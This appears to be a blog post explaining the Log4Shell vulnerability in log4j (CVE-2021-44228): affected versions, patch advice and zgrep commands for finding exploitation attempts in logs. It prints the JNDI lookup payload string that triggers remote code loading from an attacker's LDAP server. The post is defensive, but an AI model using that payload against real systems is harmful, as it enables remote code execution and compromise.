Log4j is probably the most commonly used logging library for Java. It has a critical vulnerability which is trivial to exploit and allows remote code execution. It became public by a pull request #608 opened on GitHub on 30th of November 2021.
How CVE-2021–44228 can be exploited
Remote code execution is possible if an attacker can make log4j log a specific string. They look like this:
${jndi:ldap://42.123.456.789}
log4j will execute code from that LDAP server. I have also seen base64-encoded commands within the path of the URL.
More information is in CVE-2021–44228.
Am I affected?
Most likely. Just look at who is confirmed to be affected:
The problem is not only that you might use log4j (versions 2.0 to 2.14.1) directly in your software, but also that you might use tools that use log4j. For example, your logging / monitoring / alerting / dashboard solutions might use log4j.
You can use this vulnerability checker:
Mitigations: What can I do?
Update your software to a patched version or patch the software yourself.
The first recommendation was to set log4j2.formatMsgNoLookups=true or update log4j2 to 2.15.0 (source). Both turned out to be insufficient (CVE-2021-45046, CVE-2021-45105): update log4j2 to 2.17.1 or higher. The config might be in a jvm.options file.
Just looking at this GitHub search or this Twitter search shows how many companies, services, and how much software is affected. There is a curated list of affected services and software. It’s pretty long, but for sure not all of it.
I was affected — but was it exploited?
In order to see if the vulnerability was exploited, look for jndi:ldap in your logs. That might be /var/log/syslog and the archived files:
$ zgrep -i "jndi" /var/log/syslog
$ zgrep -i "jndi" /var/log/syslog.1
$ zgrep -i "jndi" /var/log/syslog.2.gz
You can then search for the found IPs and see if your machine had connections to that IP.
However, if you search like this you will only find the most obvious issues. There are many ways to hide the attack:
See for example this tweet by Rezn0k.
What’s next?
If you think your systems were compromised, have a look at this:
The important part is that it’s not enough to just apply the patch. When the attacker was on your system, they might have gotten your credentials to other systems or might have installed malicious software.